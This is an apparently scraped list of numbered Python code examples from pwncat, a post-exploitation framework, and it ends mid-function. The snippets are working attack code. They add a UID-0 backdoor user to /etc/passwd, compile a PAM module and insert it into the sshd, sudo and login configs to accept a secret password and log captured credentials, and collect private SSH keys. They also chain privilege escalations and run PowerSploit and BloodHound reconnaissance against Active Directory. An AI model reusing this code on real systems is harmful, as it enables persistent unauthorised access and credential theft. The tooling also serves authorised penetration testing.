Ejemplo n.º 1
0
    def connect(self, user, backdoor_user, backdoor_pass, shell):

        try:
            yield Status("connecting to host")
            # Connect to the remote host's ssh server
            sock = socket.create_connection((pwncat.victim.host.ip, 22))
        except Exception as exc:
            raise PersistError(str(exc))

        # Create a paramiko SSH transport layer around the socket
        yield Status("wrapping socket in ssh transport")
        t = paramiko.Transport(sock)
        try:
            t.start_client()
        except paramiko.SSHException:
            raise PersistError("ssh negotiation failed")

        # Attempt authentication
        try:
            yield Status("authenticating with victim")
            t.auth_password(backdoor_user, backdoor_pass)
        except paramiko.ssh_exception.AuthenticationException:
            raise PersistError("incorrect password")

        if not t.is_authenticated():
            t.close()
            sock.close()
            raise PersistError("incorrect password")

        # Open an interactive session
        chan = t.open_session()
        chan.get_pty()
        chan.invoke_shell()

        yield chan
Ejemplo n.º 2
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Perform enumeration"""

        # Check that we are in a domain
        if not session.run("enumerate", types=["domain.details"]):
            return

        # Ensure we have PowerView loaded
        yield Status("loading powersploit recon")
        session.run("powersploit", group="recon")

        try:
            yield Status("requesting domain file servers")
            names = session.platform.powershell("Get-DomainFileServer")[0]
        except (IndexError, PowershellError):
            return

        if not isinstance(names, list):
            names = [names]

        names = [name.lower() for name in names]

        for computer in session.run("enumerate.domain.computer"):
            if computer["name"].lower() in names:
                yield computer
Ejemplo n.º 3
0
    def run(self, module, escalate, remove, **kwargs):
        """ Execute this module """

        if pwncat.victim.host is not None:
            query = pwncat.victim.session.query(pwncat.db.Persistence).filter_by(
                host_id=pwncat.victim.host.id
            )
        else:
            query = pwncat.victim.session.query(pwncat.db.Persistence)

        if module is not None:
            query = query.filter_by(method=module)

        # Grab all the rows
        # We also filter here for any other key-value arguments passed
        # to the `run` call. We ensure the relevant key exists, and
        # that it is equal to the specified value, unless the key is None.
        # If a key is None in the database, we assume it can take on any
        # value and utilize it as is. This is mainly for the `user` argument
        # as some persistence methods apply to all users.
        modules = [
            InstalledModule(
                persist=row,
                module=pwncat.modules.find(row.method, ignore_platform=True),
            )
            for row in query.all()
            if all(
                [
                    key in row.args
                    and (row.args[key] == value or row.args[key] is None)
                    for key, value in kwargs.items()
                ]
            )
        ]

        if remove:
            for module in modules:
                yield Status(f"removing {module.name}")
                module.remove(progress=self.progress)
            return

        if escalate:
            for module in modules:
                yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
                try:
                    # User is a special case. It can be passed on because some modules
                    # apply to all users, which means their `args` will contain `None`.
                    if "user" in kwargs:
                        module.escalate(user=kwargs["user"], progress=self.progress)
                    else:
                        module.escalate(progress=self.progress)
                    # Escalation succeeded!
                    return
                except pwncat.modules.PersistError:
                    # Escalation failed
                    pass

        yield from modules
Ejemplo n.º 4
0
    def remove(self, **unused):
        """ Remove this module """

        try:

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"

            yield Status("locating pam modules")

            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])

            yield Status(f"pam modules located at {pam_modules}")

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Remove the the module
                pwncat.victim.env(
                    ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
                )
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                # Remove this auth method from the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # Add this auth statement before the first auth statement
                    content = [line for line in content if line != new_line]
                    content = "".join(content)

                    try:
                        with pwncat.victim.open(
                            config, "w", length=len(content)
                        ) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue
            else:
                raise PersistError("insufficient permissions")
        except FileNotFoundError as exc:
            # Uh-oh, some binary was missing... I'm not sure what to do here...
            raise PersistError(f"[red]error[/red]: {exc}")
Ejemplo n.º 5
0
    def enumerate(self, session: "pwncat.manager.Session"):

        # This uses a list because it does multiple things
        # 1. It _finds_ the private key locations
        # 2. It tries to _read_ the private keys
        # This needs to happen in two loops because it has to happen one at
        # at a time (you can't have two processes running at the same time)
        # ..... (right now ;)
        facts = []

        # Search for private keys in common locations
        proc = session.platform.Popen(
            "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null",
            shell=True,
            text=True,
            stdout=pwncat.subprocess.PIPE,
        )

        with proc.stdout as pipe:
            yield Status("searching for private keys")
            for line in pipe:
                line = line.strip().split(" ")
                uid, path = int(line[0]), " ".join(line[1:])
                yield Status(f"found [cyan]{rich.markup.escape(path)}[/cyan]")
                facts.append(PrivateKey(self.name, path, uid, None, False))

        # Ensure proc is cleaned up
        proc.wait()

        for fact in facts:
            try:
                yield Status(
                    f"reading [cyan]{rich.markup.escape(fact.path)}[/cyan]")
                with session.platform.open(fact.path, "r") as filp:
                    fact.content = filp.read().strip().replace("\r\n", "\n")

                try:
                    # Try to import the key to test if it's valid and if there's
                    # a passphrase on the key. An "incorrect checksum" ValueError
                    # is raised if there's a key. Not sure what other errors may
                    # be raised, to be honest...
                    RSA.importKey(fact.content)
                except ValueError as exc:
                    if "incorrect checksum" in str(exc).lower():
                        # There's a passphrase on this key
                        fact.encrypted = True
                    else:
                        # Some other error happened, probably not a key
                        continue

                yield fact
            except (PermissionError, FileNotFoundError):
                continue
Ejemplo n.º 6
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Perform enumeration"""

        # Check that we are in a domain
        if not session.run("enumerate", types=["domain.details"]):
            return

        # Ensure we have PowerView loaded
        yield Status("loading powersploit recon")
        session.run("powersploit", group="recon")

        try:
            domain = session.run("enumerate.domain")[0]
        except IndexError:
            # Not a domain joined machine
            return

        try:
            yield Status("requesting domain groups")
            groups = session.platform.powershell("Get-DomainGroup")[0]
        except (IndexError, PowershellError):
            # Doesn't appear to be a domain joined group
            return

        if isinstance(groups, dict):
            groups = [groups]

        for group in groups:

            try:
                yield Status(
                    f"[cyan]{group['samaccountname']}[/cyan]: requesting members"
                )
                members = session.platform.powershell(
                    f"Get-DomainGroupMember \"{group['samaccountname']}\"")[0]

                if isinstance(members, dict):
                    members = [members]

            except (IndexError, PowershellError):
                members = []

            members = [member["MemberSID"] for member in members]

            yield DomainGroup(self.name,
                              domain=domain["Name"],
                              data=group,
                              members=members)
Ejemplo n.º 7
0
    def run(self, session: "pwncat.manager.Session"):
        """Iterate over all tampers and revert what we can"""

        current_user = session.current_user()

        for tamper in session.run("enumerate", types=["tamper"]):
            if not tamper.revertable:
                session.log(
                    f"[yellow]warning[/yellow]: {tamper.title(session)}: not revertable"
                )
                continue
            if current_user.id != tamper.uid:
                session.log(
                    f"[yellow]warning[/yellow]: {tamper.title(session)}: incorrect uid to revert"
                )
                continue

            try:
                # Attempt tamper revert
                yield Status(tamper.title(session))
                tamper.revert(session)
            except ModuleFailed as exc:
                session.log(
                    f"[yellow]warning[/yellow]: {tamper.title(session)}: {exc}"
                )

        session.db.transaction_manager.commit()
Ejemplo n.º 8
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Perform enumeration"""

        # Check that we are in a domain
        if not session.run("enumerate", types=["domain.details"]):
            return

        # Ensure we have PowerView loaded
        yield Status("loading powersploit recon")
        session.run("powersploit", group="recon")

        try:
            domain = session.run("enumerate.domain")[0]
        except IndexError:
            # Not a domain joined machine
            return

        try:
            yield Status("requesting domain groups")
            users = session.platform.powershell("Get-DomainUser")[0]
        except (IndexError, PowershellError):
            # Doesn't appear to be a domain joined user
            return

        if isinstance(users, dict):
            users = [users]

        for user in users:
            yield DomainUser(
                source=self.name,
                name=user["samaccountname"],
                uid=user["objectsid"],
                account_expires=user.get("accountexpires"),
                description=user.get("description") or "",
                enabled=True,
                full_name=user.get("name") or "",
                password_changeable_date=None,
                password_expires=None,
                user_may_change_password=True,
                password_required=True,
                password_last_set=None,
                last_logon=None,
                principal_source="",
                domain=domain["Name"],
                data=user,
            )
Ejemplo n.º 9
0
    def run(self, user, exec, read, write, shell, path, data, **kwargs):
        """ This method is not overriden by subclasses. Subclasses should
        should implement the ``enumerate`` method which yields techniques.

        Running a module results in an EnumerateResult object which can be
        formatted by the default `run` command or used to execute various
        privilege escalation primitives utilizing the techniques enumerated.
        """

        if (exec + read + write) > 1:
            raise ArgumentFormatError(
                "only one of exec, read, and write may be specified")

        if path is None and (read or write):
            raise ArgumentFormatError("path not specified for read/write")

        if data is None and write:
            raise ArgumentFormatError("data not specified for write")

        result = EscalateResult({})

        yield Status("gathering techniques")

        for technique in self.enumerate(**kwargs):
            yield Status(technique)
            result.add(technique)

        if shell == "current":
            shell = pwncat.victim.shell

        if exec:
            yield result.exec(user=user, shell=shell, progress=self.progress)
        elif read:
            filp = result.read(user=user,
                               filepath=path,
                               progress=self.progress)
            yield FileContentsResult(path, filp)
        elif write:
            yield result.write(user=user,
                               filepath=path,
                               data=data,
                               progress=self.progress)
        else:
            yield result
Ejemplo n.º 10
0
    def install(
        self,
        session: "pwncat.manager.Session",
        backdoor_user,
        backdoor_pass,
        shell,
    ):
        """Add the new user"""

        if session.current_user().id != 0:
            raise ModuleFailed("installation required root privileges")

        if shell == "current":
            shell = session.platform.getenv("SHELL")
        if shell is None:
            shell = "/bin/sh"

        try:
            yield Status("reading passwd contents")
            with session.platform.open("/etc/passwd", "r") as filp:
                passwd_contents = list(filp)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("faild to read /etc/passwd")

        # Hash the password
        yield Status("hashing password")
        backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)

        # Store the new line we are adding
        new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""

        # Add the new line
        passwd_contents.append(new_line)

        try:
            # Write the new contents
            yield Status("patching /etc/passwd")
            with session.platform.open("/etc/passwd", "w") as filp:
                filp.writelines(passwd_contents)

            # Return an implant tracker
            return PasswdImplant(self.name, backdoor_user, backdoor_pass, new_line)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to write /etc/passwd")
Ejemplo n.º 11
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Perform enumeration"""

        # Ensure we have PowerView loaded
        yield Status("loading powersploit recon")
        session.run("powersploit", group="recon")

        try:
            yield Status("requesting domain details")
            domain = session.platform.powershell("Get-Domain")[0]
        except (IndexError, PowershellError):
            # Doesn't appear to be a domain joined computer
            return

        try:
            yield Status("requesting domain sid")
            sid = session.platform.powershell("Get-DomainSID")[0]
        except (IndexError, PowershellError):
            sid = None

        yield DomainObject(self.name, domain, sid)
Ejemplo n.º 12
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Perform enumeration"""

        # Check that we are in a domain
        if not session.run("enumerate", types=["domain.details"]):
            return

        # Ensure we have PowerView loaded
        yield Status("loading powersploit recon")
        session.run("powersploit", group="recon")

        try:
            yield Status("requesting domain sites")
            sites = session.platform.powershell("Get-DomainSite")[0]
        except (IndexError, PowershellError):
            # Doesn't appear to be a domain joined site
            return

        if isinstance(sites, dict):
            yield SiteObject(self.name, sites)
        else:
            yield from (SiteObject(self.name, site) for site in sites)
Ejemplo n.º 13
0
    def enumerate(self):

        facts = []

        # Search for private keys in common locations
        with pwncat.victim.subprocess(
                "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
        ) as pipe:
            yield Status("searching for private keys")
            for line in pipe:
                line = line.strip().decode("utf-8").split(" ")
                uid, path = int(line[0]), " ".join(line[1:])
                yield Status(f"found [cyan]{path}[/cyan]")
                facts.append(PrivateKeyData(uid, path, None, False))

        for fact in facts:
            try:
                yield Status(f"reading [cyan]{fact.path}[/cyan]")
                with pwncat.victim.open(fact.path, "r") as filp:
                    fact.content = filp.read().strip().replace("\r\n", "\n")

                try:
                    # Try to import the key to test if it's valid and if there's
                    # a passphrase on the key. An "incorrect checksum" ValueError
                    # is raised if there's a key. Not sure what other errors may
                    # be raised, to be honest...
                    RSA.importKey(fact.content)
                except ValueError as exc:
                    if "incorrect checksum" in str(exc).lower():
                        # There's a passphrase on this key
                        fact.encrypted = True
                    else:
                        # Some other error happened, probably not a key
                        continue
                yield "creds.private_key", fact
            except (PermissionError, FileNotFoundError):
                continue
Ejemplo n.º 14
0
    def run(self, session: "pwncat.manager.Session", **kwargs):
        """This method should not be overriden by subclasses. It handles all logic
        for installation, escalation, connection, and removal. The standard interface
        of this method allows abstract interactions across all persistence modules."""

        yield Status("installing implant")
        implant = yield from self.install(session, **kwargs)

        # Register the installed implant as an enumerable fact
        session.register_fact(implant)

        # Update the database
        session.db.transaction_manager.commit()

        # Return the implant
        return implant
Ejemplo n.º 15
0
    def run(self, session: "pwncat.manager.Session", group: str):

        # Use the result system so that other modules can query available groups
        if group == "list":
            yield from (GroupInfo(name) for name in self.MODULES.keys())
            return

        # Ensure the user selected a valid group
        if group not in self.MODULES:
            raise ModuleFailed(f"no such PowerSploit module: {group}")

        # Iterate over all sources in the group
        for url in self.MODULES[group]:
            yield Status(f"loading {url.split('/')[-1]}")

            path = pkg_resources.resource_filename(
                "pwncat", os.path.join("data/PowerSploit", url))

            try:
                # Attempt to load the script in the PowerShell context.
                session.run("manage.powershell.import", path=path)
            except PowershellError as exc:
                # We failed, but continue loading other scripts. Just let the user know.
                session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")
Ejemplo n.º 16
0
    def enumerate(self, session):

        script = """
Get-WmiObject -Class Win32_Process | % {
    [PSCustomObject]@{
        commandline=$_.CommandLine;
        description=$_.Description;
        path=$_.ExecutablePath;
        state=$_.ExecutionState;
        handle=$_.Handle;
        name=$_.Name;
        id=$_.ProcessId;
        session=$_.SessionId;
        owner=$_.GetOwnerSid().Sid;
    }
}
        """

        try:
            yield Status("requesting process list...")
            processes = session.platform.powershell(script)[0]
        except (IndexError, PowershellError) as exc:
            raise ModuleFailed(f"failed to get running processes: {exc}")

        for proc in processes:
            yield ProcessData(
                source=self.name,
                name=proc["name"],
                pid=proc["id"],
                session=proc.get("session"),
                owner=proc["owner"],
                state=proc["state"],
                commandline=proc["commandline"],
                path=proc["path"],
                handle=proc["handle"],
            )
Ejemplo n.º 17
0
    def enumerate(self, session):

        try:
            # Get this user's crontab entries
            proc = session.platform.run(["crontab", "-l"],
                                        capture_output=True,
                                        text=True,
                                        check=True)
            user_entries = proc.stdout

        except CalledProcessError:
            # The crontab command doesn't exist :(
            return

        for line in user_entries.split("\n"):
            try:
                yield parse_crontab(self.name,
                                    session,
                                    "crontab -l",
                                    line,
                                    system=False)
            except ValueError:
                continue

        known_tabs = ["/etc/crontab"]

        for tab_path in known_tabs:
            try:
                with session.platform.open(tab_path, "r") as filp:
                    for line in filp:
                        try:
                            yield parse_crontab(self.name,
                                                session,
                                                tab_path,
                                                line,
                                                system=True)
                        except ValueError:
                            continue
            except (FileNotFoundError, PermissionError):
                pass

        known_dirs = [
            "/etc/cron.d",
            # I'm dumb. These aren't crontabs... they're scripts...
            # "/etc/cron.daily",
            # "/etc/cron.weekly",
            # "/etc/cron.monthly",
        ]
        for dir_path in known_dirs:
            try:
                yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]")
                filenames = list(session.platform.listdir(dir_path))
                for filename in filenames:
                    if filename in (".", ".."):
                        continue
                    yield Status(f"reading [cyan]{filename}[/cyan]")
                    try:
                        with session.platform.open(
                                os.path.join(dir_path, filename), "r") as filp:
                            for line in filp:
                                try:
                                    yield parse_crontab(
                                        self.name,
                                        session,
                                        os.path.join(dir_path, filename),
                                        line,
                                        system=True,
                                    )
                                except ValueError:
                                    pass
                    except (FileNotFoundError, PermissionError):
                        pass
            except (FileNotFoundError, NotADirectoryError, PermissionError):
                pass
Ejemplo n.º 18
0
    def run(self, session: "pwncat.manager.Session", **kwargs):

        # First, we need to load BloodHound
        try:
            yield Status("importing Invoke-BloodHound cmdlet")
            session.run("manage.powershell.import", path=self.SHARPHOUND_URL)
        except (ModuleFailed, PowershellError) as exc:
            raise ModuleFailed(f"while importing Invoke-BloodHound: {exc}")

        # Try to create a temporary file. We're just going to delete it, but
        # this gives us a tangeable temporary path to put the zip file.
        yield Status("locating a suitable temporary file location")
        with session.platform.tempfile(suffix="zip", mode="w") as filp:
            file_path = filp.name

        path = session.platform.Path(file_path)
        path.unlink()

        # Note the local path to the downloaded zip file and set it to our temp
        # file path we just created/deleted.
        output_path = kwargs["ZipFilename"]
        kwargs["ZipFilename"] = path.parts[-1]
        kwargs["OutputDirectory"] = str(path.parent)

        # Build the arguments
        bloodhound_args = {k: v for k, v in kwargs.items() if v is not None}
        argument_list = ["Invoke-BloodHound"]

        for k, v in bloodhound_args.items():
            if isinstance(v, bool) and v:
                argument_list.append(f"-{k}")
            elif not isinstance(v, bool):
                argument_list.append(f"-{k}")
                argument_list.append(str(v))

        powershell_command = shlex.join(argument_list)

        # Execute BloodHound
        try:
            yield Status("executing bloodhound collector")
            session.platform.powershell(powershell_command)
        except (ModuleFailed, PowershellError) as exc:
            raise ModuleFailed(f"Invoke-BloodHound: {exc}")

        output_name = path.parts[-1]
        path_list = list(path.parent.glob(f"**_{output_name}"))
        if not path_list:
            raise ModuleFailed("unable to find bloodhound output")

        # There should only be one result
        path = path_list[0]

        # Download the contents of the zip file
        try:
            yield Status(f"downloading results to {output_path}")
            with open(output_path, "wb") as dst:
                with path.open("rb") as src:
                    shutil.copyfileobj(src, dst)
        except (FileNotFoundError, PermissionError) as exc:
            if output_path in str(exc):
                try:
                    path.unlink()
                except FileNotFoundError:
                    pass
                raise ModuleFailed(f"permission error: {output_path}") from exc
            raise ModuleFailed(
                "bloodhound failed or access to output was denied")

        # Delete the zip from the target
        yield Status("deleting collected results from target")
        path.unlink()
Ejemplo n.º 19
0
    def install(self, user: str, password: str, log: str):
        """ Install this module """

        if user is not None:
            self.progress.log(
                f"[yellow]warning[/yellow]: {self.name}: this module applies to all users"
            )

        if pwncat.victim.current_user.id != 0:
            raise PersistError("must be root")

        # Read the source code
        with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp:
            sneaky_source = filp.read()

        yield Status("checking selinux state")

        # SELinux causes issues depending on it's configuration
        for selinux in pwncat.modules.run(
            "enumerate.gather", progress=self.progress, types=["system.selinux"]
        ):
            if selinux.data.enabled and "enforc" in selinux.data.mode:
                raise PersistError("selinux is currently in enforce mode")
            elif selinux.data.enabled:
                self.progress.log(
                    "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
                )

        # We use the backdoor password. Build the string of encoded bytes
        # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
        password_hash = hashlib.sha1(password.encode("utf-8")).digest()
        password_hash = ",".join(hex(c) for c in password_hash)

        # Insert our key
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)

        # Insert the log location for successful passwords
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)

        yield Status("compiling pam module for target")

        try:
            # Compile our source for the remote host
            lib_path = pwncat.victim.compile(
                [io.StringIO(sneaky_source)],
                suffix=".so",
                cflags=["-shared", "-fPIE"],
                ldflags=["-lcrypto"],
            )
        except (FileNotFoundError, CompilationError) as exc:
            raise PersistError(f"pam: compilation failed: {exc}")

        yield Status("locating pam module installation")

        # Locate the pam_deny.so to know where to place the new module
        pam_modules = "/usr/lib/security"
        try:
            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])
        except FileNotFoundError:
            pass

        yield Status(f"pam modules located at {pam_modules}")

        # Ensure the directory exists and is writable
        access = pwncat.victim.access(pam_modules)
        if (Access.DIRECTORY | Access.WRITE) in access:
            # Copy the module to a non-suspicious path
            yield Status("copying shared library")
            pwncat.victim.env(
                ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
            )
            new_line = "auth\tsufficient\tpam_succeed.so\n"

            yield Status("adding pam auth configuration")

            # Add this auth method to the following pam configurations
            for config in ["sshd", "sudo", "su", "login"]:
                yield Status(f"adding pam auth configuration: {config}")
                config = os.path.join("/etc/pam.d", config)
                try:
                    # Read the original content
                    with pwncat.victim.open(config, "r") as filp:
                        content = filp.readlines()
                except (PermissionError, FileNotFoundError):
                    continue

                # We need to know if there is a rootok line. If there is,
                # we should add our line after it to ensure that rootok still
                # works.
                contains_rootok = any("pam_rootok" in line for line in content)

                # Add this auth statement before the first auth statement
                for i, line in enumerate(content):
                    # We either insert after the rootok line or before the first
                    # auth line, depending on if rootok is present
                    if contains_rootok and "pam_rootok" in line:
                        content.insert(i + 1, new_line)
                    elif not contains_rootok and line.startswith("auth"):
                        content.insert(i, new_line)
                        break
                else:
                    content.append(new_line)

                content = "".join(content)

                try:
                    with pwncat.victim.open(config, "w", length=len(content)) as filp:
                        filp.write(content)
                except (PermissionError, FileNotFoundError):
                    continue

            pwncat.victim.tamper.created_file(log)
Ejemplo n.º 20
0
    def run(self, user, exec, write, read, path, data, shell):

        whole_chain = EscalateChain(None, chain=[])
        tried_users = [user]
        result_list = []
        target_user = user

        if (exec + write + read) > 1:
            raise pwncat.modules.ArgumentFormatError(
                "only one of exec/write/read may be used")

        if (read or write) and path is None:
            raise ArgumentFormatError("file path not specified")

        if write and data is None:
            raise ArgumentFormatError("file content not specified")

        if shell == "current":
            shell = pwncat.victim.shell

        # Collect escalation options
        result = EscalateResult(techniques={})
        yield Status("gathering techniques")
        for module in pwncat.modules.match(r"escalate.*", base=EscalateModule):
            try:
                yield Status(f"gathering techniques from {module.name}")
                result.extend(module.run(progress=self.progress))
            except (ArgumentFormatError, MissingArgument):
                continue

        while True:

            try:
                if exec:
                    yield Status(f"attempting escalation to {target_user}")
                    chain = result.exec(target_user, shell, self.progress)
                    whole_chain.extend(chain)
                    yield whole_chain
                    return
                elif write:
                    yield Status(f"attempting file write as {target_user}")
                    result.write(target_user, path, data, self.progress)
                    whole_chain.unwrap()
                    return
                elif read:
                    yield Status(f"attempting file read as {target_user}")
                    filp, _ = result.read(target_user, path, self.progress)
                    yield FileContentsResult(path, filp)
                    return
                else:
                    # We just wanted to list all techniques from all modules
                    yield result
                    return
            except EscalateError:
                pass

            for user in result.techniques.keys():
                # Ignore already tried users
                if user in tried_users:
                    continue

                # Mark this user as tried
                tried_users.append(user)

                try:
                    yield Status(f"attempting recursion to {user}")

                    # Attempt escalation
                    chain = result.exec(user, shell, self.progress)

                    # Extend the chain with this new chain
                    whole_chain.extend(chain)

                    # Save our current results in the list
                    result_list.append(result)

                    # Get new results for this user
                    result = EscalateResult(techniques={})
                    yield Status(f"success! gathering new techniques...")
                    for module in pwncat.modules.match(r"escalate.*",
                                                       base=EscalateModule):
                        try:
                            result.extend(module.run(progress=self.progress))
                        except (
                                ArgumentFormatError,
                                MissingArgument,
                        ):
                            continue

                    # Try again
                    break
                except EscalateError:
                    continue
            else:

                if not result_list:
                    # There are no more results to try...
                    raise EscalateError("no escalation path found")

                # The loop was exhausted. This user didn't work.
                # Go back to the previous step, but don't try this user
                whole_chain.pop()
                result = result_list.pop()
Ejemplo n.º 21
0
    def run(self, session, remove, escalate):
        """Perform the requested action"""

        if (not remove and not escalate) or (remove and escalate):
            raise ModuleFailed("expected one of escalate or remove")

        # Look for matching implants
        implants = list(
            implant
            for implant in session.run("enumerate", types=["implant.*"])
            if not escalate or "implant.replace" in implant.types
            or "implant.spawn" in implant.types)

        try:
            session._progress.stop()

            console.print("Found the following implants:")
            for i, implant in enumerate(implants):
                console.print(f"{i+1}. {implant.title(session)}")

            if remove:
                prompt = "Which should we remove (e.g. '1 2 4', default: all)? "
            elif escalate:
                prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? "

            while True:
                selections = Prompt.ask(prompt, console=console)
                if selections == "":
                    break

                try:
                    implant_ids = [int(idx.strip()) for idx in selections]
                    # Filter the implants
                    implants: List[Implant] = [
                        implants[i - 1] for i in implant_ids
                    ]
                    break
                except (IndexError, ValueError):
                    console.print("[red]error[/red]: invalid selection!")

        finally:
            session._progress.start()

        nremoved = 0

        for implant in implants:
            if remove:
                try:
                    yield Status(f"removing: {implant.title(session)}")
                    implant.remove(session)
                    session.target.facts.remove(implant)
                    nremoved += 1
                except KeepImplantFact:
                    # Remove implant types but leave the fact
                    implant.types.remove("implant.remote")
                    implant.types.remove("implant.replace")
                    implant.types.remove("implant.spawn")
                    nremoved += 1
                except ModuleFailed:
                    session.log(
                        f"[red]error[/red]: removal failed: {implant.title(session)}"
                    )
            elif escalate:
                try:
                    yield Status(
                        f"attempting escalation with: {implant.title(session)}"
                    )
                    result = implant.escalate(session)

                    if "implant.spawn" in implant.types:
                        # Move to the newly established session
                        session.manager.target = result
                    else:
                        # Track the new shell layer in the current session
                        session.layers.append(result)
                        session.platform.refresh_uid()

                    session.log(
                        f"escalation [green]succeeded[/green] with: {implant.title(session)}"
                    )
                    break
                except ModuleFailed:
                    continue
        else:
            if escalate:
                raise ModuleFailed(
                    "no working local escalation implants found")

        if nremoved:
            session.log(f"removed {nremoved} implants from target")

        # Save database modifications
        session.db.transaction_manager.commit()
Ejemplo n.º 22
0
    def install(self, session: "pwncat.manager.Session", password, log):
        """install the pam module"""

        if session.current_user().id != 0:
            raise ModuleFailed(
                "root permissions required to install pam module")

        if any(i.source == self.name
               for i in session.run("enumerate", types=["implant.replace"])):
            raise ModuleFailed(
                "only one pam implant may be installed at a time")

        yield Status("loading pam module source code")
        with open(pkg_resources.resource_filename("pwncat", "data/pam.c"),
                  "r") as filp:
            sneaky_source = filp.read()

        yield Status("checking selinux state")
        for selinux in session.run("enumerate", types=["system.selinux"]):
            if selinux.enabled and "enforc" in selinux.mode:
                raise ModuleFailed("selinux enabled in enforce mode")
            elif selinux.enabled:
                session.log(
                    "[yellow]warning[/yellow]: selinux is enabled; implant will be logged!"
                )

        # Hash the backdoor password and prepare for source injection
        password_hash = ",".join(
            hex(c) for c in hashlib.sha1(password.encode("utf-8")).digest())

        yield Status("patching module source code")

        # Inject password hash into source code
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)

        # Inject log path
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)

        try:
            yield Status("compiling pam module")
            lib_path = session.platform.compile(
                [io.StringIO(sneaky_source)],
                suffix=".so",
                cflags=["-shared", "-fPIE"],
                ldflags=["-lcrypto"],
            )
        except (PlatformError, NotImplementedError) as exc:
            raise ModuleFailed(str(exc)) from exc

        try:
            yield Status("locating pam modules... ")
            result = session.platform.run(
                "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'",
                shell=True,
                capture_output=True,
                text=True,
                check=True,
            )
            pam_location = session.platform.Path(
                result.stdout.strip().split("\n")[0]).parent
        except CalledProcessError as exc:
            try:
                session.platform.run(["rm", "-f", lib_path], check=True)
            except CalledProcessError:
                session.register_fact(
                    CreatedFile(source=self.name, uid=0, path=lib_path))
            raise ModuleFailed(
                "failed to locate pam installation location") from exc

        yield Status("copying pam module")
        session.platform.run(
            ["mv", lib_path,
             str(pam_location / "pam_succeed.so")])

        added_line = "auth\tsufficient\tpam_succeed.so\n"
        modified_configs = []
        config_path = session.platform.Path("/", "etc", "pam.d")

        yield Status("patching pam configuration: ")
        for config in ["common-auth"]:
            yield Status(f"patching pam configuration: {config}")

            try:
                with (config_path / config).open("r") as filp:
                    content = filp.readlines()
            except (PermissionError, FileNotFoundError):
                continue

            any("pam_rootok" in line for line in content)
            for i, line in enumerate(content):
                if "pam_rootok" in line:
                    content.insert(i + 1, added_line)
                    break
                elif line.startswith("auth"):
                    content.insert(i, added_line)
                    break
            else:
                content.append(added_line)

            try:
                with (config_path / config).open("w") as filp:
                    filp.writelines(content)
                modified_configs.append(config)
            except (PermissionError, FileNotFoundError):
                continue

        if not modified_configs:
            (pam_location / "pam_succeed.so").unlink()
            raise ModuleFailed("failed to add module to configuration")

        return PamImplant(
            self.name,
            password,
            log,
            str(pam_location / "pam_succeed.so"),
            modified_configs,
            added_line,
        )
Ejemplo n.º 23
0
    def run(self, session, output, modules, types, clear, cache, exclude):
        """Perform a enumeration of the given moduels and save the output"""

        module_names = modules

        # Find all the matching modules (use set to ensure uniqueness)
        modules = set()
        for name in module_names:
            modules = modules | set(
                list(
                    session.find_module(f"enumerate.{name}",
                                        base=EnumerateModule)))

        if exclude is not None and exclude:
            modules = (module for module in modules if not any(
                fnmatch.fnmatch(module.name, e) for e in exclude))

        if clear:
            for module in modules:
                yield pwncat.modules.Status(module.name)
                module.run(session, clear=True)
            return

        # Enumerate all facts
        facts = {}

        if cache:
            for fact in session.target.facts:
                if not types or any(
                        any(fnmatch.fnmatch(t2, t1) for t2 in fact.types)
                        for t1 in types):
                    if fact.type not in facts:
                        facts[fact.type] = [fact]
                    else:
                        facts[fact.type].append(fact)

                    if output is None:
                        yield fact
                    else:
                        yield Status(fact.title(session))

        for module in modules:

            if types:
                for pattern in types:
                    for typ in module.PROVIDES:
                        if fnmatch.fnmatch(typ, pattern):
                            # This pattern matched
                            break
                    else:
                        # This pattern didn't match any of the provided
                        # types
                        continue
                    # We matched at least one type for this module
                    break
                else:
                    # We didn't match any types for this module
                    continue

            # update our status with the name of the module we are evaluating
            yield pwncat.modules.Status(module.name)

            # Iterate over facts from the sub-module with our progress manager
            try:
                for item in module.run(session, types=types):
